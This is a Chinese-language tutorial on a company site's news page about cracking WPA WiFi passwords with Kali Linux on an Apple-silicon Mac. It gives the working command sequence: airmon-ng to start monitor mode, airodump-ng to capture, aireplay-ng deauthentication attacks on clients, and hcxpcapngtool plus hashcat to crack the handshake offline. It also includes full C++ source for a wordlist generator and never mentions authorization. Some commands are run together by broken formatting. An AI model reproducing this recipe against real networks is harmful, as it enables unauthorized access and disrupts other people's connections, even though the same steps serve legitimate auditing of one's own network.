尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

使用 kali 进行 wifi 密码破解渗透 M芯片Mac+utm虚拟机环境

使用 kali 进行 wifi 密码破解渗透 M芯片Mac+utm虚拟机环境
📅 发布时间:2026/6/19 2:33:52
  1. 购买支持kali的网卡,比如mt7921u系列,支持wifi6,2.4G+5G+6G

  2. 在M芯片arm架构系列的mac上,安装虚拟机utm
    https://mac.getutm.app

  3. 下载kali linux镜像,国内可以用中科大源
    https://mirrors.ustc.edu.cn/kali-images/
    下载arm-installer的iso镜像即可

  4. utm新建虚拟机,选择虚拟化(更快但是只能运行本机架构。kali的工具已经支持arm了)
    注意点1: m芯片的mac+utm虚拟机的话,需要添加一个串口tty,安装的时候在tty操作。不然会黑屏提示display is not active ,无法安装kali
    注意点2:第一次安装成功后记得弹出dvd镜像,否则重启优先进入dvd镜像boot
    参考
    https://www.youtube.com/watch?v=bcaF1OSivYI
    6分44秒处操作

  5. 启动kali,插入usb网卡并分配到虚拟机

  6. 在桌面创建文件夹,新建terminal用于扫描+抓包

sudo airmon-ng start wlan0
# 把网卡变成监听状态 用ifconfig可以看到wlan0 变为wlan0monsudo airmon-ng stop wlan0mon
#用完记得还原网卡sudo airodump-ng wlan0mon 
#扫描2.4G的 wifi  获取想渗透的ap的mac地址和活跃情况
#扫描5G频段加上 -C 5180-5885sudo airodump-ng -c [Channel] --bssid [MAC] -w /保存的path --write-interval 1 --output-format pcapng wlan0mon  
#监听数据并保存为cap文件 1秒写入1次
  1. 新建terminal,用于deauth客户端
aireplay-ng -0 1 -a [MAC] -c [ClientMAC] wlan0mon #使用第0种攻击模式(deauth)发送 1次deauth数据包是客户端下线重新握手 -c 客户端mac可以不填  不停发送death是-0 0
  1. 抓包窗口显示 [WPA handshake: xx:xx:xx:xx:xx:xx]
    Ctrl+C停止抓包,拷贝cap文件到mac上

9.mac安装homebrew https://brew.sh/

brew install hcxtools   #预处理cap数据包
brew install hashcat   #离线破解hash
  1. 清洗cap文件+hash穷举破解
 hcxpcapngtool -o testwifi.hc2000 testwifi.cap  #清洗数据包获得干净hash文件,观察EAPOL pairs (best) wpa4次 握手包大于1即可hashcat -m 22000 xhb34.hccapx string.txt --force
#使用hashcat在字典中破解密码
#成功  显示 Status...........: Cracked
#失败  显示 Status...........: Exhausted
  1. 纯C++代码 wifi字典生成器 输入可能存在的固定字符和*来代表 纯数字/字母和数字/任意asc2字符
#include <iostream>
#include <fstream>
#include <string>
#include <vector>using namespace std;// 根据用户选择返回字符集
string getCharset(int mode)
{switch (mode){case 1: // 任意可键盘输入的字符(可打印 ASCII){string charset;for (char c = 32; c <= 126; ++c) // 0x20 ~ 0x7E{charset.push_back(c);}return charset;}case 2: // 字母 + 数字return "abcdefghijklmnopqrstuvwxyz""ABCDEFGHIJKLMNOPQRSTUVWXYZ""0123456789";case 3: // 纯数字return "0123456789";default:throw invalid_argument("无效的模式选择");}
}// 递归生成组合
void generate(const string& mask,const string& charset,size_t index,string& current,ofstream& out)
{if (index == mask.size()){out << current << '\n';return;}if (mask[index] == '*'){for (char c : charset){current[index] = c;generate(mask, charset, index + 1, current, out);}}else{current[index] = mask[index];generate(mask, charset, index + 1, current, out);}
}int main()
{string mask;int mode;cout << "请输入掩码字符串(例如 xiaoming***): ";cin >> mask;cout << "请选择 * 的含义:\n";cout << "1 - 任意字符\n";cout << "2 - 字母 + 数字\n";cout << "3 - 纯数字\n";cout << "你的选择: ";cin >> mode;string charset;try{charset = getCharset(mode);}catch (const exception& e){cerr << e.what() << endl;return 1;}ofstream out("string.txt");if (!out){cerr << "无法创建输出文件\n";return 1;}string current = mask;generate(mask, charset, 0, current, out);cout << "生成完成,结果已写入 string.txt\n";return 0;
}
代码改变世界

相关新闻

  • 第十六
  • 通达信判断是指数
  • 第十七

最新新闻

  • PiliPlus完全指南:打造你的专属B站开源客户端
  • 基于六维超混沌与DNA编码的图像加密算法实现与解析
  • 再生资源行业实力测评 海峰梦再生资源口碑价格透明推荐 - 工业品牌热点
  • 如何快速构建智能标注系统:OpenMMLab MMPose的完整指南
  • vscode-edge-devtools 设备模拟功能详解:响应式设计调试技巧
  • Loop:优雅掌控macOS窗口管理的终极解决方案

日新闻

  • 5分钟掌握Python进化算法:Geatpy高性能优化工具完全指南
  • Microchip 24AA044 EEPROM选型与应用全指南:从参数解析到实战编程
  • 华为的鸿蒙到底有多牛?为什么称作遥遥领先?

周新闻

  • 3步解锁iOS设备:applera1n激活锁绕过完全指南
  • 39 2026 人工智能证书终极盘点,普通人选 AI 证书可以从这些方向入手
  • Redis 暴露公网有多危险?从端口检查到补救步骤

月新闻

  • 【总结】入门篇:50句话让你记住架构核心概念
  • WeChatMsg技术方案解析:实现Mac微信数据自主管理的完整解决方案
  • WeChatMsg:革新性微信数据备份方案,打造你的专属数字记忆库

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号